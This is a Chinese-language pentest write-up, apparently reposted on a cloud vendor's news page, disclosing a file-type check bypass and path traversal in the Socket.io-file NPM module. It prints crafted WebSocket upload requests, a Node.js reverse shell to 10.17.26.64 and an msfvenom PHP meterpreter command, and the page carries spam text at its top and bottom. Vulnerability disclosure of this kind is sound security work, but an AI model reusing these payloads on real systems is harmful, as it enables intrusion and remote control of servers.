91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何實現Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

發布時間:2021-12-24 14:29:57 來源:億速云 閱讀:134 作者:柒染 欄目:安全技術

如何實現Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

寫在前面的話

在一次滲透測試過程中,我們所面對的應用程序安全系數比較高,沒有存在太多的錯誤配置,因此簡單分析并沒有發現安全問題。但是深入分析后,我們發現了一個運行在嵌入式設備上的Web應用程序。這個Web應用程序使用了WebSocket來實現服務器和客戶端之間的通信,為了使用WebSocket,后端系統可以選擇的技術有很多種,而這里使用的是Socket.io。

這個應用程序的主要功能之一就是文件上傳,這也是它選擇使用Socket.io-file NPM模塊的原因。總而言之,這里存在一個路徑遍歷漏洞,將允許我們上傳文件到任意系統路徑中,并讓Web服務器運行該文件。

如果我們可以修改ssh_config、/etc/passwd或/etc/shadow文件的話,那么這個漏洞就相當于是一個遠程代碼執行漏洞了,但這只能通過root權限來實現,因此我們需要想辦法利用低權限用戶來實現遠程代碼執行。

通過研究之后,我們在Socket.io-file模塊中找到了一個文件類型限制繞過漏洞。在該漏洞的幫助下,我們可以繞過模塊配置文件中的文件類型限制。這樣一來,我們就可以上傳任意文件類型,然后通過修改底層配置文件來上傳適當的Shell,以實現底層系統的遠程代碼執行。

除此之外,Socket.io-file的上傳功能也存在對輸入數據處理和驗證邏輯不正確的問題,這些分布在代碼的各個地方。而攻擊者將能夠利用該問題繞過上傳文件類型的限制,將所選的文件類型上傳到底層系統中。

漏洞描述

Socket.io-file的默認配置下,提供了一個由WebSocket處理的上傳功能。當用戶嘗試通過Web應用程序上傳一個文件時,將會創建下列客戶端請求以實現文件創建:

如何實現Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]

為了在底層系統創建該文件,Socket.io-file的index.js代碼將會被執行,下列代碼將會檢測文件的類型并執行后續操作:

let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', '));

return sendError(err);

}

else {

self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);

}

}

else {

self.socket.emit(socket.io-file::complete::${id}, emitObj);

self.emit('complete', emitObj);

比如說,如果用戶上傳了一個名為“testfile.mp3”的文件,那么應用程序將創建一個新的.mp3文件,由于錢買你的代碼只會在客戶端進行檢測(WebSocket請求創建之前),那么我們就可以攔截上傳請求,并以應用程序修改文件名的方式來修改創建文件的文件類型。下面給出的是漏洞利用樣例:

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]

為了繞過客戶端限制,我們還需要將原始文件的文件類型修改問Web應用程序允許的文件類型。攔截請求之后,我們需要將文件類型修改為原始類型(.php),這樣服務器端就不會進行檢測了。接下來,我們就可以在底層系統創建一個.php文件了,這樣也就實現了文件類型檢測繞過。

除此之外,我們還可以結合路徑遍歷漏洞來執行攻擊,我們繼續往下看。

結合多個漏洞實現RCE

既然我們可以向任意服務器目錄上傳任意文件,那么我們就可以在特定配置下,在底層系統實現遠程代碼執行了。

場景1:修改配置文件

首先,我們可以修改配置文件,向Web服務器中添加惡意JavaScript代碼庫,然后修改index.html來加載惡意js腳本,即添加一個<script>標簽來引入js文件,或直接把js代碼拷貝進去。

接下來,我們就可以上傳一個js文件(服務器將會在index.html文件中加載該腳本),該文件中包含的代碼如下:

(function(){

var net = require(“net”),

cp = require(“child_process”),

sh = cp.spawn(“/bin/sh”, []);

var client = new net.Socket();

client.connect(8080, “10.17.26.64”, function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/; // Prevents the Node.js application from crashing

})();

需要注意的是,這個反向Shell只能在包含錯誤配置的Node.js環境中執行。通過修改監聽器的IP地址和端口號,我們就可以獲取到反向Shell了,并在底層系統實現命令執行。

場景2:利用特定漏洞即錯誤配置

我們存在漏洞的模塊中包含了大量不同的配置項,其中一個就是允許node.js服務器運行PHP。當然了,現在也有很多多用途服務器支持這種功能,而這種漏洞利用起來也相對簡單。

我們可以使用msfvenom創建一個PHP反向Shell,然后執行下列命令:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3

如何實現Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

該命令將創建一個php文件,當服務器執行該文件時,便能夠給我們提供一個反向Shell。此時,結合之前的漏洞上傳文件,我們需要修改上傳WebSocket請求:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

如何實現Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

該命令將把我們的文件上傳至服務器端的公共文件夾,使用瀏覽器進入該目錄,我們就可以執行PHP Shell,并在我們的攻擊設備上獲取到反向Shell了:

如何實現Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

漏洞復現

為了復現該漏洞,我們需要執行下列操作:

  • 設置一個代理來攔截HTTP和WebSocket請求;

  • 創建一個Web應用程序允許的文件類型;

  • 使用io-file上傳一個文件,并攔截WebSocket請求;

  • 根據文件類型修改請求中的“name”參數值:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

上述命令將會在當前用戶的date目錄中創建一個testfile.php文件,我們的測試服務器存儲文件路徑為/home/ubuntutest/Documents/socket-app/data。

關于如何實現Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

武胜县| 巩留县| 河北省| 南丹县| 上高县| 长乐市| 潍坊市| 淮安市| 连城县| 宁安市| 武强县| 香格里拉县| 蚌埠市| 交口县| 高台县| 林州市| 大厂| 平阳县| 海南省| 南平市| 湖北省| 夏河县| 崇礼县| 桃源县| 大竹县| 富顺县| 理塘县| 民和| 林口县| 启东市| 宜阳县| 永修县| 若羌县| 理塘县| 舒兰市| 普陀区| 广平县| 荃湾区| 鄂州市| 高雄县| 利川市|